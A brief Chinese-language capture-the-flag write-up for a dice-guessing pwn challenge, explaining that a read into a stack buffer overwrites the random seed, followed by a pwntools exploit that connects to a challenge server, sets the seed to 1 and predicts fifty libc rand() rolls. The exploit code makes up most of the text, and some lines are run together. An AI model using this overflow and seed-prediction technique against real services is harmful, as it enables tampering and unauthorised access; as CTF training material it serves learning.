查壳
看ida,和guess_number那题一样有seed,并且一样是猜数字连续猜中得到flag,看看能不能覆盖把seed改成我们想要的
read是50,但栈中seed在10的位置,可以直接通过buf覆盖到seed
编写exp
#!/usr/bin/env python
from pwn import *
from ctypes import *
p = remote('111.200.241.244', 46527) libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(1)
payload = b'a' * 0x40 + p64(1)
p.sendlineafter('Welcome, let me know your name: ', payload)
for i in range(50):
rand_value = libc.rand() % 6 + 1 p.sendlineafter('(1~6): ', str(rand_value))
p.interactive()